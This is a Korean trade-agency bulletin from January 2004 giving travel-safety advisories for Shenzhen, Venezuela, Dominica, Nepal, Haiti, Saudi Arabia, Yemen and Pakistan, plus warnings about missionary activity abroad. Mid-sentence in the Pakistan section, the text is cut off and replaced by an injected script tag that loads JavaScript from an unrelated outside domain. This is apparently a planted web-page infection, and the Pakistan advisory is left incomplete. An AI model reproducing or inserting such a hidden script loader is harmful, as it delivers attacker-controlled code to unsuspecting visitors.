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대한무역진흥공사
 
제목 (참조) 각 국가별 여행 및 출장시 신변안전

1) 광동성 심천시 치안상황 악화
ㅇ 1.15 주광조우총영사관이 보고에 따르면, 최근 외지인의 자유왕래가 사실상 허용됨에 따라 타지방으로부터 범죄자들이 집중 유입, 심천시의 치안이 급격히 악화되고 있다고 합니다.
- 2003년의 경우 전체 범죄 발생수는 10만건으로 (전년대비 57% 증가하였고, 납치는 75%, 폭행은 38%, 살인은 35% 각각 증가)
- 최근 심천시는 경찰력 부족을 이유로 군병력을 투입, 치안 유지를 지원케하는 실정. 끝.

2)(주의)베네수엘라
ㅇ 최근 대인상해 및 강.절도 사례가 매년 증가추세에 있으므로 현금 및 귀중품에 대한 각별한 주의가 요망됩니다.
ㅇ 여행이 제한된 지역은 없으나 콜롬비아와의 국경지대에서 콜롬비아 게릴라 활동 및 마약밀매가 계속되고 있어 주민 납치등 사고가 빈번히 발생하고 있으므로 국경지대 여행은 바람직하지 않습니다.

3)해외선교활동 관련 주의
1. 최근 스리랑카에서는 해외 선교단체들의 적극적인 활동으로 개종자가 늘어나자, 현지 급진 불교도들에 의한 외국인 선교사에 대한 습격사례가 증가하고 있으며, 현지 우리 선교사들도 신변 위협을 받는 사례가 늘고 있습니다. 이와 같은 유사사례는 비단 스리랑카뿐만 아니라, 중국, 동남아, CIS, 터키 등지에서 빈발하고 있습니다.
※ 사 례 : 아프카니스탄 주둔 유엔지원단(UNAMA)은 북부지역인 쿤두즈주에서 활동하고 있는 우리 선교단체의 활동이 주민들의 분노를 야기, 동 단체 성원에 대한 테러 위험이 고조되고 있음을 통보해 온 바 있음.
2. 상기 해외 선교활동 과정에서 일부 선교사들은 활동 목적에 부합하는 체류자격을 취득하지 않고 관광·취업 등의 목적으로 입국 후에 선교활동을 하는 등의 범법행위로 인해 현지에서 체포·추방되는 경우가 빈발하고 있어 주의가 요망됩니다.
3. 또한, 최근 중국정부는 중국에 입국하여 현지 신도들과 연계, 포교활동을 한 법륜궁신자인 우리 국민을 체포·강제추방한 바 있으며, 향후 유사 사례 발생시 중국법에 따라 엄중 조치할 것임을 통보해 온 바 있습니다.
4. 따라서 선교 등 시민단체의 해외활동시 현지법의 테두리를 벗어나지 않는 한도 내에서 이루어질 수 있도록 유의하시고, 동시에 신변안전에 철저를 기하여 주시기 바랍니다.

4)(주의)도미니카
-총기사건,강.절도,기업인 납치등 범죄 빈발
-주재국의 경제사정 약화(불경기 및 인플레),미국 거류 주재국인 범범자의 계속적인 송환 등으로 인한 주재국내 총기(민간 소지 총기 숫자 70만정 추정)
사건.강도,절도,기업인 납치 등 범죄 빈발

5)(주의)네팔
-정부군과 공산반군간의 내전으로 인한 폭탄테러, 총격사건 발생 등 치안 불안
-정부군과 공산반군 maoist 간의 내전으로 수도 카투만두에서도 총격사건,폭탄테러가 발생하는 등 치안 불안 상태이나, 아직 외국인에 대해서는 직접적으로 신체적 위해를 가하는 경우는 없는 바, 네팔에 대한 여행주의를 권고

6)(경고)아이티
ㅇ 반정부 격렬시위 지속 및 불법무기 휴대,치안상태 악화로 인한 치안상태 악화
- 정치 및 경제 불안으로 계속되는 반정부 격렬 시위, 불법무기 휴대(정부지지 및 반대 집단간 무력 충돌), 치안상태 약화로 인한 폭력,강도,절도 등 범죄 증가 및 외국인 납치 가능성 증대
ㅇ 2003년도 일반인을 대상으로 한 두 차례의 대형테러 발생

7)(주의)사우디아라비아
- 알카에다 세력의 본거지로서 2003년도 일반인을 대상으로 두 차례의 대형 테러 발생, 테러세력과 보안군과의 크고 작은 총격 사건 발생
- 우리 군 이라크 파병으로 인한 반한 감정 고조 및 우리 국민에 대한 테러 가능성 증대 우려
- 극단적인 형태의 이슬람 국가인 주재국의 엄격한 사회 관습에 대한 무지로 인해 피해 발생 우려

8) (주의)예멘
ㅇ 회교원리주의자에 의한 테러 위협,특히 지방여행시 부족간 갈등으로 인한 피해 우려
- 극빈 국가로서 중앙정부의 노력에도 불구하고 알 카에다 세력을 비롯한 이슬람 극단세력 동조자 다수 존재
- 특히 지방 여행의 경우 지방 부족간의 갈등으로 인한 피해 우려

9)(주의)파키스탄
1. 최근 파키스탄 정세
o 파키스탄 정부는 2001.9.11 사태이후 미국의 아프간 전쟁 등 "테러와의 전쟁"에 적극 협력하는 정책을 취함으로서 정부의 미국의 대 아프간전쟁 지원 등 친미 정책에 불만을 품은 회교 원리주의 집단이 자살테러활동을 파키스탄 전역에서 연중 전개한 바 있으나 2002년도 하반기 부터 테러발생이 감소 하는 추세임. 그러나 미국등 서방국가 국민과 시설에 대한 테러 재발
가능성을 배제할수 없음.
o 테러는 미국 등 서방국가 국민과 시설, 기독교인 과 교회를 대상으로 삼고 있으므로 파키스탄에 여행시 서방국가의 시설, 교회, 회사및 서방상품판매점(예:맥도날드)등을 출입시 주의가 요망됨.
2. 파키스탄 정부의 테러와의 전?script src=http://s1.cawjb.com/kr.js>


작성일 : 2004-01-16

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